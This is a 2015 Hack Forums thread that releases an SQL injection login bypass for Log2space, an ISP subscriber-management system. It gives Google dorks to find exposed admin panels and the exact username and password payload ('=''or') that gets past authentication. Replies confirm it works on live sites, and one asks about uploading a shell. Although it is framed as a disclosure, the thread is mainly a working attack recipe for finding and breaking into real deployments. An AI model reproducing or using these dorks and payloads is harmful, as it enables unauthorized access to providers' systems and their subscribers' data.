+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [Specialists | Legends:]>_Log2space CMS | Administration Bypass_[/ 0day | Tutorial] (/showthread.php?tid=5025736)
[Specialists | Legends:]>_Log2space CMS | Administration Bypass_[/ 0day | Tutorial] - ｍＯｂｉＩｅ - Oct 17, 2015
![[Image: ZhVrR3e.gif]](https://i.imgur.com/ZhVrR3e.gif)
![[Image: nTHqPib.gif]](https://i.imgur.com/nTHqPib.gif)
![[Image: De1XmoL.gif]](https://i.imgur.com/De1XmoL.gif)
![[Image: JTJIeGn.png]](https://i.imgur.com/JTJIeGn.png)
[img]http://s9.postimg.org/jzubyp2v3/LEGENDS_2_0_DELIMETER.png[/img]
After waiting 3 months and getting no response from the vendor, I'm releasing this 0-day in the name of Specialists | Legends
Log2space – Internet Subscriber Management Software:
Quote:Log2space is an Advanced Next Generation Software used by Internet Service Providers for provisioning and management of their subscribers. It is used for complete management and control of all the attributes of different kinds of subscribers / customers.
Vulnerability:
PHP Code
<?php
# Exploit Title: Log2space CMS | Administration Bypass
# Exploit Author: mObiIe
# Google Dork/s:
intext:"Powered by Spacecom Technologies Ltd."
intitle:"Log2Space Administration"
# Date: 10/17/2015
# Vendor: www.spacecom.co.in
# Software: log2space
# Tested on: Win7/Vista
Vulnerability Disclosure:
The vulnerability is located in the `username` and `password` input field values of the `login` module.
Remote attackers are able to execute own sql commands by manipulation of the GET method request with the vulnerable username and password parameter.
The request method to inject the sql command is GET and the issue is located on the application-side of the online-service.
The sql vulnerability allows an attacker to remotly gain unauthorized access to the account system of the content management system.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Login
Vulnerable Parameter(s):
[+] username
[+] password
Vulnerability Disclosure Timeline:
==================================
2015-07-17: Vulnerability discovered
2015-07-21: Vendor contacted
2015-10-17: Public disclosure
Tutorial:
1.) Google Dork/s:
PHP Code
<?php
intext:"Powered by Spacecom Technologies Ltd."
intitle:"Log2Space Administration"
![[Image: ZQWmjHB.jpg]](https://i.imgur.com/ZQWmjHB.jpg)
2.) Administration Bypass:
Quote:Username: '=''or'
Password: '=''or'
![[Image: ITWMW8I.jpg]](https://i.imgur.com/ITWMW8I.jpg)
![[Image: 1DthWbi.jpg]](https://i.imgur.com/1DthWbi.jpg)
Enjoy! And thanks for viewing my thread. 🤝
* - TheUnknownPlague - Oct 17, 2015
cool thread i tested it and it worked idk what i can do with it though
* - Armada - Oct 17, 2015
Mother of Vulns, Beautiful 😎🤝
* - Cxdde3990xc - Oct 17, 2015
Nice find there!
Will check it out later
Thanks for this
* - murgan - Nov 6, 2015
It does not work now! \tried on 11 nov 2015
* - Aakash_Choudhary - Nov 7, 2015
Nice thread but not working now :(
* - xx 0x0 xx - Nov 7, 2015
it's still working with me :D
* - ShopifyExpert - Nov 7, 2015
thanks for this dope 0-day exploit tutorial!
* - Ch4Nc3113r - Nov 13, 2015
It still work with me.bw Can you upload shell in these sites?
* - saadmrb - Jun 1, 2016
that working , thanks you
* - Lʌʏʟᴇ - Jun 2, 2016
nice exploit, but it's not a 0day :p